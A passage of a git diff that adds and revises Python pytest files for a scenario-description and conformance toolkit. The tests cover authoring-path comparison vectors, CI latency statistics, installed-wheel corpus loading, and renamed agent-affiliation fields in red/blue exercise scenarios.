Path + +import pytest +from jsonschema import Draft202012Validator +from pydantic import ValidationError +from raes_conformance.authoring_adapters import ( + AuthoringPathOutput, + compare_authoring_paths, + load_authoring_vectors, + reference_authoring_output, +) +from raes_contracts.authoring_adapters import AuthoringAdapterComparisonModel, parse_authoring_vector +from raes_contracts.canonical import canonical_json_digest +from raes_contracts.contracts import schema_bundle +from raes_contracts.diagnostics import DiagnosticModel, Severity +from raes_contracts.json_ingress import StrictJsonIngressError + +ROOT = Path(__file__).resolve().parents[3] + + +def _case(case_id="strict-source"): + vector = next(v for v in load_authoring_vectors() if v.case_id == case_id) + return vector, reference_authoring_output(vector) + + +@pytest.mark.parametrize("path_id", ["cli", "mcp-agent", "graphical", "documentation"]) +def test_published_vectors_accept_equivalent_authoring_paths(path_id: str) -> None: + vectors = load_authoring_vectors() + assert {v.case_id for v in vectors} == { + "strict-source", + "duplicate-key", + "rename-node", + "rename-collision", + "rename-invalid-source", + "editorial-difference", + "declaration-difference", + } + for vector in vectors: + output = reference_authoring_output(vector) + # Comments are presentation, not artifact or semantic identity. + other = replace( + output, + output_source=("# rendered by another path\n" + output.output_source) + if output.output_source is not None + else None, + ) + comparison = compare_authoring_paths(vector, output, other, left_path="library", right_path=path_id) + assert comparison.report.conformant, comparison.report.model_dump_json() + assert comparison.report.left_matches_expected + assert comparison.report.right_matches_expected + + +def test_semantic_change_is_typed_and_two_identical_wrong_paths_do_not_pass() -> None: + vector = next(v for v in load_authoring_vectors() if v.case_id == "strict-source") + output = reference_authoring_output(vector) + changed = replace(output, output_source=output.output_source.replace("web:", "edge:")) + comparison = compare_authoring_paths(vector, output, changed) + assert comparison.report.artifact_relation == "different" + assert comparison.report.semantic_relation == "different" + assert not comparison.report.conformant + assert comparison.semantic_result is not None + assert not compare_authoring_paths(vector, changed, changed).report.conformant + + +def test_empty_corpus_is_not_success(tmp_path) -> None: + with pytest.raises(ValueError, match="empty"): + load_authoring_vectors(root=tmp_path) + + +def test_published_contrasts_have_independent_expected_dispositions() -> None: + contrasts = [vector for vector in load_authoring_vectors() if getattr(vector, "contrast", None) is not None] + assert len(contrasts) == 2 + for vector in contrasts: + output = reference_authoring_output(vector) + alternative = replace(output, output_source=vector.contrast.output_source) + report = compare_authoring_paths(vector, output, alternative).report + assert report.artifact_relation == vector.contrast.artifact_relation + assert report.semantic_relation == vector.contrast.semantic_relation + assert report.diagnostic_relation == "equivalent" + assert report.provenance_relation == "not-applicable" + assert report.left_matches_expected + assert not report.right_matches_expected + assert not report.conformant + + +def test_invalid_output_is_incomparable_without_echoing_source() -> None: + vector = next(v for v in load_authoring_vectors() if v.case_id == "strict-source") + output = reference_authoring_output(vector) + invalid = replace(output, output_source="name: unsafe-value-marker\nnodes: [invalid]\n") + report = compare_authoring_paths(vector, output, invalid).report + assert report.semantic_relation == "incomparable" + assert "right-invalid" in report.reason_codes + assert "unsafe-value-marker" not in report.model_dump_json() + + +def test_editorial_change_is_an_artifact_difference_without_semantic_change() -> None: + vector, output = _case() + changed = replace(output, output_source=output.output_source + "description: changed editorial prose\n") + result = compare_authoring_paths(vector, output, changed) + assert result.report.artifact_relation == "different" + assert result.report.semantic_relation == "equivalent" + assert not result.report.conformant + assert result.report.semantic_result_digest == canonical_json_digest(result.semantic_result.model_dump(mode="json")) + + +@pytest.mark.parametrize("uncertainty", ["context", "change"]) +def test_semantic_uncertainty_remains_incomparable(monkeypatch, uncertainty) -> None: + from raes_conformance import authoring_adapters + from raes_contracts.semantic_comparison import ComparisonReason, RelationStatus + + vector, output = _case() + baseline = compare_authoring_paths(vector, output, output).semantic_result + if uncertainty == "context": + incomplete = baseline.model_copy(update={"reason_codes": (ComparisonReason.IMPACT_SCOPE_PARTIAL,)}) + else: + assert baseline.changes + changes = (baseline.changes[0].model_copy(update={"semantic_relation": RelationStatus.UNKNOWN}),) + incomplete = baseline.model_copy(update={"changes": changes}) + monkeypatch.setattr(authoring_adapters, "analyze_semantic_comparison", lambda *_args: incomplete) + comparison = compare_authoring_paths(vector, output, output) + assert comparison.report.semantic_relation == "incomparable" + assert "semantic-context-incomplete" in comparison.report.reason_codes + assert not comparison.report.conformant + assert comparison.semantic_result is incomplete + + +def test_each_input_must_match_the_exact_bound_source() -> None: + vector, output = _case() + wrong = replace(output, input_source=output.input_source + "# different input\n") + report = compare_authoring_paths(vector, output, wrong).report + assert "right-input-mismatch" in report.reason_codes + assert report.right is None + assert set(report.relations) == {"incomparable"} + + +def test_diagnostic_projection_preserves_code_severity_address_and_multiplicity() -> None: + vector, output = _case("duplicate-key") + original = output.diagnostics[0] + for field, value in (("code", "sdl.other"), ("severity", "warning"), ("pointer", "/other"), ("stage", "semantic")): + altered = replace(output, diagnostics=(replace(original, **{field: value}),)) + report = compare_authoring_paths(vector, output, altered).report + assert not report.conformant + assert report.diagnostic_relation == "different" + duplicated = replace(output, diagnostics=(original, original)) + assert compare_authoring_paths(vector, output, duplicated).report.diagnostic_relation == "different" + prose = replace( + output, diagnostics=(replace(original, message="Equivalent human explanation.", source="other.yaml"),) + ) + assert compare_authoring_paths(vector, output, prose).report.conformant + + +def test_portable_diagnostics_are_order_independent_but_not_ignored() -> None: + vector, output = _case() + diagnostics = tuple( + DiagnosticModel( + code=f"authoring.{code}", + domain="sdl", + address="/nodes/web", + message="Synthetic advisory.", + severity=Severity.WARNING, + ) + for code in ("one", "two") + ) + left = replace(output, diagnostics=diagnostics) + right = replace(output, diagnostics=tuple(reversed(diagnostics))) + report = compare_authoring_paths(vector, left, right).report + assert report.diagnostic_relation == "equivalent" + assert not report.conformant # Both differ from the empty diagnostic oracle. + assert compare_authoring_paths(vector, output, left).report.diagnostic_relation == "different" + + +@pytest.mark.parametrize( + "field,value", + [ + ("source_digest", "sha256:" + "a" * 64), + ("target_digest", "sha256:" + "a" * 64), + ("operation_profile", "remove-sdl-declaration/v1"), + ("canonicalization_profile", "raes-sdl-semantic/v1"), + ("source_profile", "sdl-yaml/v1"), + ("target_profile", "sdl-yaml/v1"), + ], +) +def test_stale_or_wrong_transformation_joins_are_incomparable(field, value) -> None: + vector, output = _case("rename-node") + changed = replace(output, transformation_report=output.transformation_report.model_copy(update={field: value})) + report = compare_authoring_paths(vector, output, changed).report + assert "right-invalid" in report.reason_codes + assert not report.conformant + + +def test_declared_provenance_difference_does_not_rewrite_artifact_equivalence() -> None: + vector, output = _case("rename-node") + changed = replace( + output, + transformation_report=output.transformation_report.model_copy( + update={"derivation_digest": "sha256:" + "a" * 64} + ), + ) + report = compare_authoring_paths(vector, output, changed).report + assert report.artifact_relation == report.semantic_relation == "equivalent" + assert report.provenance_relation == "different" + assert not report.conformant + + +def test_missing_provenance_and_refusal_without_diagnostics_fail_closed() -> None: + vector, output = _case("rename-node") + assert ( + "right-invalid" + in compare_authoring_paths(vector, output, replace(output, transformation_report=None)).report.reason_codes + ) + vector, output = _case("duplicate-key") + assert ( + "right-invalid" in compare_authoring_paths(vector, output, replace(output, diagnostics=())).report.reason_codes + ) + + +def test_rename_source_admission_refusal_needs_no_transformation_report() -> None: + vector, output = _case("rename-invalid-source") + assert output.output_source is None + assert output.diagnostics + assert output.transformation_report is None + comparison = compare_authoring_paths(vector, output, output) + assert comparison.report.conformant + assert comparison.report.diagnostic_relation == "equivalent" + assert comparison.report.artifact_relation == "not-applicable" + assert comparison.report.provenance_relation == "not-applicable" + assert comparison.report.semantic_relation == "not-applicable" + assert comparison.semantic_result is None + + +def test_post_admission_rename_refusal_still_requires_provenance() -> None: + vector, output = _case("rename-collision") + assert output.output_source is None + without_report = replace(output, transformation_report=None) + report = compare_authoring_paths(vector, output, without_report).report + assert "right-invalid" in report.reason_codes + assert not report.conformant + + +def test_pre_operation_rename_refusal_cannot_emit_an_artifact() -> None: + vector, output = _case("rename-invalid-source") + fabricated = replace(output, output_source="name: fabricated\n") + report = compare_authoring_paths(vector, output, fabricated).report + assert "right-invalid" in report.reason_codes + assert not report.conformant + + +def test_success_and_refusal_are_an_explicit_outcome_difference() -> None: + vector, refused = _case("duplicate-key") + success = AuthoringPathOutput(vector.input_source, "name: synthetic\n") + report = compare_authoring_paths(vector, refused, success).report + assert "outcomes-differ" in report.reason_codes + assert report.artifact_relation == "different" + assert report.semantic_relation == "not-applicable" + assert not report.conformant + + +@pytest.mark.parametrize( + "mutate", + [ + lambda data: data.update(input_digest="sha256:" + "0" * 64), + lambda data: data["operation"].update(profile="unknown/v1"), + lambda data: data["operation"].update(target_address="nodes.web"), + lambda data: data.update(operation_digest="sha256:" + "0" * 64), + lambda data: data.update(unknown=True), + ], +) +def test_closed_vector_contract_rejects_tampering(mutate) -> None: + vector, _ = _case() + data = vector.model_dump(mode="json") + mutate(data) + source = json.dumps(data) + with pytest.raises(ValidationError): + parse_authoring_vector(source) + + +def test_strict_json_ingress_and_utf8_byte_limits() -> None: + with pytest.raises(StrictJsonIngressError): + parse_authoring_vector('{"case_id":"one","case_id":"two"}') + with pytest.raises(StrictJsonIngressError): + parse_authoring_vector('{"value":NaN}') + with pytest.raises(StrictJsonIngressError): + parse_authoring_vector(" " * (128 * 1024 + 1)) + vector, output = _case() + for bad in ("#" + "a" * 65536, "#" + "é" * 32768): + assert ( + "right-invalid" + in compare_authoring_paths(vector, output, replace(output, output_source=bad)).report.reason_codes + ) + excessive = replace( + output, + diagnostics=( + DiagnosticModel( + code="test.warning", domain="sdl", address="", message="Synthetic.", severity=Severity.WARNING + ), + ) + * 65, + ) + assert "right-invalid" in compare_authoring_paths(vector, output, excessive).report.reason_codes + + +def test_vector_profile_is_pinned_and_case_paths_cannot_escape(tmp_path) -> None: + vector, output = _case() + forged = vector.model_copy(update={"profile_digest": "sha256:" + "0" * 64}) + with pytest.raises(ValueError, match="profile digest"): + compare_authoring_paths(forged, output, output) + (tmp_path / "strict-source.json").symlink_to( + ROOT / "contracts/fixtures/authoring-adapters-v1/cases/strict-source.json" + ) + with pytest.raises(ValueError, match="outside"): + load_authoring_vectors(root=tmp_path) + + +def test_published_schemas_and_deterministic_reports() -> None: + bundle = schema_bundle() + for vector in load_authoring_vectors(): + Draft202012Validator(bundle["authoring-adapter-vector-v1"]).validate(vector.model_dump(mode="json")) + output = reference_authoring_output(vector) + first = compare_authoring_paths(vector, output, output) + second = compare_authoring_paths(vector, output, output) + assert first.report.model_dump_json() == second.report.model_dump_json() + Draft202012Validator(bundle["authoring-adapter-comparison-v1"]).validate(first.report.model_dump(mode="json")) + assert AuthoringAdapterComparisonModel.model_validate_json(first.report.model_dump_json()) == first.report + + +def test_json_artifact_gate_routes_vectors_and_profile() -> None: + from tools.check_json_artifacts import collect_validation_targets + + paths = [ + "contracts/profiles/authoring-adapters/reference-v1.json", + "contracts/fixtures/authoring-adapters-v1/cases/strict-source.json", + ] + for selected in (paths, None): + routed = {target.path: target.schema_path for target in collect_validation_targets(ROOT, paths=selected)} + assert routed[paths[0]] == "contracts/schemas/authoring-adapters/authoring-adapter-profile-v1.json" + assert routed[paths[1]] == "contracts/schemas/authoring-adapters/authoring-adapter-vector-v1.json" + + +def test_contracts_publish_contextual_invariants_and_bounded_report_ingress() -> None: + from raes_contracts.authoring_adapters import parse_authoring_comparison + + for contract in ("authoring-adapter-vector-v1", "authoring-adapter-comparison-v1"): + assert schema_bundle()[contract]["x-raes-invariants"] + vector, output = _case() + report = compare_authoring_paths(vector, output, output).report + assert parse_authoring_comparison(report.model_dump_json()) == report + with pytest.raises(StrictJsonIngressError): + parse_authoring_comparison('{"case_id":"one","case_id":"two"}') + with pytest.raises(StrictJsonIngressError): + parse_authoring_comparison(" " * 65537) + + +@pytest.mark.parametrize( + "alter", + [ + {"semantic_result_digest": None}, + {"semantic_relation": "not-applicable"}, + {"artifact_relation": "not-applicable"}, + {"diagnostic_relation": "not-applicable"}, + {"reason_codes": ["artifacts-differ", "artifacts-differ"]}, + {"left": None}, + {"right": None}, + {"left": None, "left_matches_expected": False}, + {"right": None, "right_matches_expected": False}, + ], +) +def test_report_cannot_claim_missing_or_inapplicable_success_evidence(alter) -> None: + vector, output = _case() + payload = compare_authoring_paths(vector, output, output).report.model_dump(mode="json") + payload.update(alter) + with pytest.raises(ValidationError): + AuthoringAdapterComparisonModel.model_validate(payload) + + +def test_corpus_bound_and_identifier_are_enforced(tmp_path) -> None: + vector, _ = _case() + (tmp_path / "wrong.json").write_text(vector.model_dump_json()) + with pytest.raises(ValueError, match="filename"): + load_authoring_vectors(root=tmp_path) + for index in range(32): + (tmp_path / f"extra-{index}.json").write_text("{}") + with pytest.raises(ValueError, match="count"): + load_authoring_vectors(root=tmp_path) + + +def test_unsupported_imports_and_unstructured_advisories_do_not_claim_equivalence() -> None: + vector, output = _case() + for source in ( + "name: unstructured\nnodes:\n host:\n type: compute\n", + "name: imports\nimports:\n - source: missing.yaml\n namespace: example\n", + ): + report = compare_authoring_paths(vector, output, replace(output, output_source=source)).report + assert "right-invalid" in report.reason_codes + assert not report.conformant + + +@pytest.mark.parametrize("name", ["1front", "front-end", "front_end"]) +def test_rename_request_reuses_the_owning_portable_identifier(name) -> None: + from raes_contracts.authoring_adapters import AuthoringOperationModel + + operation = AuthoringOperationModel( + profile="rename-sdl-declaration/v1", target_address="nodes.web", new_local_name=name + ) + assert operation.new_local_name == name + + +@pytest.mark.parametrize("name", ["Front", "_front", "x" * 65, "front\n"]) +def test_rename_request_rejects_nonportable_identifiers(name) -> None: + from raes_contracts.authoring_adapters import AuthoringOperationModel + + with pytest.raises(ValidationError): + AuthoringOperationModel(profile="rename-sdl-declaration/v1", target_address="nodes.web", new_local_name=name) diff --git a/implementations/python/tests/test_backend_manifest.py b/implementations/python/tests/test_backend_manifest.py index 9962c5124..780b746a4 100644 --- a/implementations/python/tests/test_backend_manifest.py +++ b/implementations/python/tests/test_backend_manifest.py @@ -51,9 +51,15 @@ for contract_id in BACKEND_SUPPORTED_CONTRACT_IDS if contract_id not in { + "backend-operation-request-v1", + "backend-operation-capabilities-v1", + "backend-operation-control-v1", + "backend-operation-response-v1", "experiment-binding-descriptors-v1", "realization-envelope-v1", "backend-realization-preparation-v1", + "backend-materialization-attestation-v1", + "backend-augmentation-scope-v1", "plan-realization-profiles-v1", } ] diff --git a/implementations/python/tests/test_ci_latency_report.py b/implementations/python/tests/test_ci_latency_report.py new file mode 100644 index 000000000..db021605c --- /dev/null +++ b/implementations/python/tests/test_ci_latency_report.py @@ -0,0 +1,123 @@ +"""Tests for the #935 CI feedback-latency measurement helper.""" + +from __future__ import annotations + +import io +import json + +import pytest +from tools.ci_latency_report import RunTiming, load_cohort, main, parse_run, percentile, summarize + + +def _job(name: str, completed_at: str, conclusion: str) -> dict: + return {"name": name, "completed_at": completed_at, "conclusion": conclusion} + + +def test_parse_run_splits_queue_and_execution() -> None: + run = { + "id": 1, + "head_sha": "a" * 40, + "conclusion": "success", + "created_at": "2026-09-16T00:00:00Z", + "run_started_at": "2026-09-16T00:01:00Z", + } + jobs = [ + _job("verify", "2026-09-16T00:05:00Z", "success"), + _job("sonar", "2026-09-16T00:06:00Z", "success"), + ] + timing = parse_run(run, jobs, ("verify", "sonar")) + assert timing.queue_s == 60.0 + assert timing.execution_s == 300.0 + assert timing.time_to_first_failure_s is None + assert timing.final_required_completion_s == 300.0 + + +def test_parse_run_measures_first_failure_over_required_and_fast_feedback() -> None: + run = {"id": 2, "created_at": "2026-09-16T00:00:00Z", "run_started_at": "2026-09-16T00:00:00Z"} + jobs = [ + _job("fast-feedback", "2026-09-16T00:02:00Z", "failure"), + _job("verify", "2026-09-16T00:08:00Z", "failure"), + _job("interpreters", "2026-09-16T00:01:00Z", "failure"), # not a tracked check + ] + timing = parse_run(run, jobs, ("verify", "sonar")) + assert timing.time_to_first_failure_s == 120.0 + + +def test_parse_run_ignores_negative_and_missing_timestamps() -> None: + run = {"id": 3, "created_at": "2026-09-16T00:05:00Z", "run_started_at": "2026-09-16T00:00:00Z"} + jobs = [_job("verify", "", "success"), {"name": "sonar", "conclusion": "success"}] + timing = parse_run(run, jobs, ("verify", "sonar")) + assert timing.queue_s is None # created_at after run_started_at -> discarded + assert timing.final_required_completion_s is None + + +def test_percentile_interpolates() -> None: + assert percentile([], 0.5) is None + assert percentile([7.0], 0.95) == 7.0 + assert percentile([0.0, 10.0], 0.5) == 5.0 + assert percentile([0.0, 10.0], 0.95) == 9.5 + + +def test_summarize_reports_median_and_p95() -> None: + timings = [ + RunTiming(1, "s", "success", 10.0, 100.0, None, 100.0), + RunTiming(2, "s", "failure", 20.0, 200.0, 50.0, 200.0), + RunTiming(3, "s", "success", 30.0, 300.0, None, 300.0), + ] + summary = summarize(timings) + assert summary["runs"] == 3 + assert summary["queue_seconds"]["median"] == 20.0 + assert summary["execution_seconds"]["median"] == 200.0 + # Only the failing run contributes a first-failure measurement. + assert summary["time_to_first_failure_seconds"]["count"] == 1 + assert summary["final_required_completion_seconds"]["median"] == 200.0 + + +def test_load_cohort_parses_entries_and_fails_closed() -> None: + payload = [ + { + "run": { + "id": 1, + "created_at": "2026-09-16T00:00:00Z", + "run_started_at": "2026-09-16T00:00:30Z", + }, + "jobs": [_job("verify", "2026-09-16T00:05:30Z", "success")], + } + ] + timings = load_cohort(payload, ("verify", "sonar")) + assert len(timings) == 1 + assert timings[0].queue_s == 30.0 + + with pytest.raises(ValueError, match="JSON array"): + load_cohort({"run": {}}, ("verify",)) + with pytest.raises(ValueError, match="'run' object"): + load_cohort([{"jobs": []}], ("verify",)) + with pytest.raises(ValueError, match="'jobs' must be"): + load_cohort([{"run": {"id": 1}, "jobs": {}}], ("verify",)) + + +def test_main_reads_stdin_and_prints_summary(capsys: pytest.CaptureFixture[str]) -> None: + payload = [ + { + "run": {"id": 1, "created_at": "2026-09-16T00:00:00Z", "run_started_at": "2026-09-16T00:01:00Z"}, + "jobs": [ + _job("verify", "2026-09-16T00:05:00Z", "success"), + _job("sonar", "2026-09-16T00:06:00Z", "success"), + ], + } + ] + exit_code = main( + ["--required-check", "verify", "--required-check", "sonar"], stdin=io.StringIO(json.dumps(payload)) + ) + assert exit_code == 0 + report = json.loads(capsys.readouterr().out) + assert report["runs"] == 1 + assert report["queue_seconds"]["median"] == 60.0 + assert report["final_required_completion_seconds"]["median"] == 300.0 + + +def test_main_defaults_required_checks(capsys: pytest.CaptureFixture[str]) -> None: + payload = [{"run": {"id": 9}, "jobs": []}] + assert main([], stdin=io.StringIO(json.dumps(payload))) == 0 + report = json.loads(capsys.readouterr().out) + assert report["runs"] == 1 diff --git a/implementations/python/tests/test_classification_migration.py b/implementations/python/tests/test_classification_migration.py index 713b05c4e..7e6f92090 100644 --- a/implementations/python/tests/test_classification_migration.py +++ b/implementations/python/tests/test_classification_migration.py @@ -457,7 +457,7 @@ def test_removal_timeline_keeps_explicit_legacy_reader_and_canonical_exclusion() routes: [{route_id: upload, path: /upload, methods: [GET]}] features: {service: {type: service}} entities: {team: {role: red, entities: {member: {role: red}}}} -agents: {operator: {entity: team}} +agents: {operator: {affiliations: [team]}} behavior_specifications: {behavior: {semantic_version: 1.0.0, participant_refs: [operator], action_contract_refs: [inspect]}} action_contracts: inspect: diff --git a/implementations/python/tests/test_corpus_packaging.py b/implementations/python/tests/test_corpus_packaging.py index c7ed4203f..b74d0b6cb 100644 --- a/implementations/python/tests/test_corpus_packaging.py +++ b/implementations/python/tests/test_corpus_packaging.py @@ -206,6 +206,15 @@ def test_corpus_discoverable_via_importlib_resources_from_installed_wheel(instal "import json\n" "from raes_contracts.corpus import corpus_root, corpus_family_root\n" "from raes_contracts.provenance import load_sdl_lineage_ledger, sdl_lineage_ledger_path\n" + "from raes_contracts.evidence_output_validation import evidence_output_registrations, resolve_evidence_output_contract\n" + "evidence_fixtures = {\n" + " 'experiment-evidence-record-v1': 'experiment-core/experiment-evidence-record-v1/valid/reference.json',\n" + " 'participant-behavior-history-event-stream-v1': 'control-plane/participant-behavior-history-event-stream-v1/valid/terminal-observation.json',\n" + "}\n" + "assert set(evidence_output_registrations()) == set(evidence_fixtures)\n" + "for contract_id, fixture_path in evidence_fixtures.items():\n" + " document = json.loads((corpus_family_root('fixtures') / fixture_path).read_text())\n" + " resolve_evidence_output_contract(contract_id).validate(document)\n" "root = corpus_root()\n" "print(json.dumps({\n" " 'root': str(root),\n" @@ -241,6 +250,20 @@ def test_corpus_discoverable_via_importlib_resources_from_installed_wheel(instal assert "sdl-field:semantic_revision" in payload["lineage_subjects"] +@requires_uv +def test_authoring_vectors_execute_from_installed_wheel(installed_python: Path, tmp_path: Path): + script = ( + "from raes_conformance.authoring_adapters import load_authoring_vectors, reference_authoring_output, compare_authoring_paths\n" + "vectors = load_authoring_vectors()\n" + "assert len(vectors) == 7\n" + "for vector in vectors:\n" + " output = reference_authoring_output(vector)\n" + " assert compare_authoring_paths(vector, output, output).report.conformant\n" + ) + result = _run([str(installed_python), "-c", script], cwd=tmp_path, env=_sanitized_runtime_env(tmp_path)) + assert result.returncode == 0, f"installed authoring conformance failed:\n{result.stdout}\n{result.stderr}" + + @requires_uv def test_conformance_backend_passes_from_installed_wheel(installed_python: Path, tmp_path: Path): """Acceptance: ``raes conformance backend --profile provisioning-only`` exits @@ -277,3 +300,26 @@ def test_sdl_semantic_validation_loads_corpus_from_installed_wheel(installed_pyt ) assert result.returncode == 0, f"semantic-validation load failed:\n{result.stdout}\n{result.stderr}" assert int(result.stdout.strip()) > 0 + + +@requires_uv +def test_modular_control_contracts_from_independent_install(installed_python: Path, tmp_path: Path): + script = """ +from raes_backend_protocols.protocols import ParticipantControlProvider +from raes_backend_protocols.participant_control_admission import resolve_participant_control_support +from raes_contracts.contracts import parse_participant_control_evaluation, load_teaching_influence_profile, schema_bundle +from raes_contracts.corpus import corpus_family_root +from raes_conformance.conformance.validators import validate_contract_payload +from jsonschema import Draft202012Validator +root = corpus_family_root('fixtures') +assert 'site-packages' in str(root) +source = (root / 'participant-runtime/participant-control-evaluation-v1/valid/teaching-inject.json').read_bytes() +record = parse_participant_control_evaluation(source) +Draft202012Validator(schema_bundle()['participant-control-evaluation-v1']).validate(record.model_dump(mode='json')) +assert validate_contract_payload('participant-control-evaluation-v1', record.model_dump(mode='json'))[0].code == 'conformance.semantic-context-required' +assert load_teaching_influence_profile().release == 'none' +assert not getattr(ParticipantControlProvider, '_is_runtime_protocol', False) +assert callable(resolve_participant_control_support) +""" + result = _run([str(installed_python), "-c", script], cwd=tmp_path, env=_sanitized_runtime_env(tmp_path)) + assert result.returncode == 0, result.stderr diff --git a/implementations/python/tests/test_dsl_115_authoring_specificity.py b/implementations/python/tests/test_dsl_115_authoring_specificity.py index 6124c6c0d..26b030133 100644 --- a/implementations/python/tests/test_dsl_115_authoring_specificity.py +++ b/implementations/python/tests/test_dsl_115_authoring_specificity.py @@ -28,7 +28,7 @@ def _scenario_with_specificity_levels(): role: red agents: red-agent: - entity: red + affiliations: [red] description: ${participant_label} propositions: objective-complete: @@ -49,7 +49,7 @@ def _scenario_with_specificity_levels(): polarity: positive objectives: assess: - agent: red-agent + assigned_participant: red-agent success: assertions: [objective-complete] """) diff --git a/implementations/python/tests/test_dsl_123_scenario_native_observability.py b/implementations/python/tests/test_dsl_123_scenario_native_observability.py index d484fce2a..00e0e874a 100644 --- a/implementations/python/tests/test_dsl_123_scenario_native_observability.py +++ b/implementations/python/tests/test_dsl_123_scenario_native_observability.py @@ -130,10 +130,10 @@ def _scenario(*, objective_target: str = OBSERVABILITY_REF, interaction_target: ], } }, - agents={"blue-agent": {"entity": "blue", "actions": ["inspect-dashboard"]}}, + agents={"blue-agent": {"affiliations": ["blue"], "actions": ["inspect-dashboard"]}}, objectives={ "inspect-observability": { - "entity": "blue", + "owner": "blue", "actions": ["inspect-dashboard"], "targets": [objective_target], "success": {"assertions": ["observability-inspected"]}, diff --git a/implementations/python/tests/test_dsl_124_authored_evidence_requirements.py b/implementations/python/tests/test_dsl_124_authored_evidence_requirements.py index 575b7cb22..3be1bf456 100644 --- a/implementations/python/tests/test_dsl_124_authored_evidence_requirements.py +++ b/implementations/python/tests/test_dsl_124_authored_evidence_requirements.py @@ -54,7 +54,7 @@ def _scenario_yaml(*, source_ref: str = OBSERVABILITY_REF, trigger: str | None = {trigger_line} channel: packet_capture artifact_role: network_trace media_types: - - application/vnd.tcpdump.pcap + - application/json sensitivity: plain redaction: none integrity: checksum @@ -78,13 +78,19 @@ def test_dsl_124_accepts_authored_evidence_requirement_independent_of_objectives assert OBSERVABILITY_REF in collect_scenario_native_observability_refs(scenario) +def test_dsl_124_rejects_unprovable_pcap_declaration() -> None: + payload = _scenario_yaml().replace("application/json", "application/vnd.tcpdump.pcap") + with pytest.raises(SDLParseError, match="unsupported required evidence media type"): + parse_sdl(payload) + + def test_dsl_124_evidence_requirements_are_not_objective_targets() -> None: payload = ( _scenario_yaml() + """ objectives: capture-the-trace: - entity: blue + owner: blue targets: - evidence_requirements.network-trace success: diff --git a/implementations/python/tests/test_dsl_142_participant_inject_delivery.py b/implementations/python/tests/test_dsl_142_participant_inject_delivery.py index c430b2ba4..9f5920c87 100644 --- a/implementations/python/tests/test_dsl_142_participant_inject_delivery.py +++ b/implementations/python/tests/test_dsl_142_participant_inject_delivery.py @@ -14,6 +14,7 @@ from raes.parser import parse_sdl, parse_sdl_file from raes_contracts.contracts import schema_bundle from raes_processor.compiler import compile_runtime_model +from raes_processor.compiler.time_model import time_model_contract_model REPO_ROOT = Path(__file__).resolve().parents[3] BINDING_REF = "behavior_specifications.red-briefing.participant_inject_deliveries.briefing" @@ -105,7 +106,7 @@ def _scenario_yaml() -> str: disclosure_rule: disclosures.briefing.v1 agents: red-agent: - entity: red-team + affiliations: [red-team] observation_boundaries: [red-view] behavior_specifications: red-briefing: @@ -165,6 +166,16 @@ def test_participant_inject_delivery_parses_and_compiles_typed_metadata() -> Non assert INJECT_ADDRESS in compiled.refresh_dependencies +def test_participant_inject_delivery_is_a_valid_temporal_subject() -> None: + model = compile_runtime_model(parse_sdl(_scenario_yaml())) + + declaration = time_model_contract_model(model.time_model) + + assert declaration is not None + constraint = declaration.temporal_constraints["time.constraint.briefing-window"] + assert constraint.subject_addresses == [BINDING_ADDRESS] + + def test_compiler_preserves_inject_identity_without_copying_hidden_content() -> None: model = compile_runtime_model(parse_sdl(_scenario_yaml())) compiled = model.participant_inject_deliveries[BINDING_ADDRESS] @@ -329,15 +340,15 @@ def _external_direction_yaml() -> str: " red-team:\n role: red\n blue-team:\n role: blue\n", ) .replace( - " red-agent:\n entity: red-team\n observation_boundaries: [red-view]\n", + " red-agent:\n affiliations: [red-team]\n observation_boundaries: [red-view]\n", ( " red-agent:\n" - " entity: red-team\n" + " affiliations: [red-team]\n" " authority_anchors: [entities.red-team]\n" " operating_scope: [nodes.web]\n" " observation_boundaries: [red-view]\n" " supervisor-agent:\n" - " entity: blue-team\n" + " affiliations: [blue-team]\n" " authority_anchors: [entities.blue-team]\n" " operating_scope: [nodes.web]\n" ), diff --git a/implementations/python/tests/test_dsl_437_benign_participant_execution.py b/implementations/python/tests/test_dsl_437_benign_participant_execution.py index 56d6584ff..e36109f7c 100644 --- a/implementations/python/tests/test_dsl_437_benign_participant_execution.py +++ b/implementations/python/tests/test_dsl_437_benign_participant_execution.py @@ -954,24 +954,24 @@ def test_backend_admission_requires_exact_v2_activity_and_random_profile_support gaps = participant_autonomous_execution_capability_gaps(unsupported, policies, runtime_model.time_model) assert "unsupported autonomous random-stream profiles: blake3-xof-participant-v1" in gaps - missing_dependency_support = replace( + missing_cooldown_support = replace( manifest, capabilities=replace( manifest.capabilities, participant_runtime=replace( manifest.participant_runtime, supported_autonomous_activity_features=( - manifest.participant_runtime.supported_autonomous_activity_features - {"dependencies"} + manifest.participant_runtime.supported_autonomous_activity_features - {"cooldowns"} ), ), ), ) gaps = participant_autonomous_execution_capability_gaps( - missing_dependency_support, + missing_cooldown_support, policies, runtime_model.time_model, ) - assert "unsupported autonomous activity features: dependencies" in gaps + assert "unsupported autonomous activity features: cooldowns" in gaps def test_planner_enforces_required_participant_features_and_exact_targets() -> None: @@ -1955,15 +1955,14 @@ def test_semantics_rejects_unreachable_stepped_cadence() -> None: parse_sdl(scenario_yaml) -def test_semantics_rejects_externally_paced_autonomous_clock_without_driver() -> None: +def test_valid_externally_paced_policy_is_rejected_by_reference_runtime_admission() -> None: payload = yaml.safe_load(_scenario_yaml()) progression = payload["time_progression_policies"]["scenario-progression"] progression["advancement_mode"] = "externally_paced" progression.pop("step_ticks") scenario_yaml = yaml.safe_dump(payload, sort_keys=False) - with pytest.raises(SDLValidationError, match="has no portable runtime transition driver"): - parse_sdl(scenario_yaml) + _assert_reference_driver_admission_rejects(parse_sdl(scenario_yaml)) def test_semantics_rejects_negative_autonomous_cadence_start() -> None: @@ -1975,7 +1974,7 @@ def test_semantics_rejects_negative_autonomous_cadence_start() -> None: parse_sdl(scenario_yaml) -def test_semantics_rejects_backend_authority_for_wall_paced_autonomous_clock() -> None: +def test_valid_backend_wall_clock_is_rejected_by_reference_runtime_admission() -> None: payload = yaml.safe_load(_scenario_yaml()) progression = payload["time_progression_policies"]["scenario-progression"] progression["advancement_mode"] = "real_time" @@ -1984,8 +1983,19 @@ def test_semantics_rejects_backend_authority_for_wall_paced_autonomous_clock() - payload["clocks"]["scenario-clock"]["authority_ref"] = "backend.clock" scenario_yaml = yaml.safe_dump(payload, sort_keys=False) - with pytest.raises(SDLValidationError, match="must use runtime authority"): - parse_sdl(scenario_yaml) + _assert_reference_driver_admission_rejects(parse_sdl(scenario_yaml)) + + +def _assert_reference_driver_admission_rejects(scenario) -> None: + model = compile_runtime_model(scenario) + native = _NativeParticipantRuntime() + manager = RuntimeManager( + replace(create_stub_target(), manifest=_autonomous_manifest(model), participant_runtime=native) + ) + execution_plan = 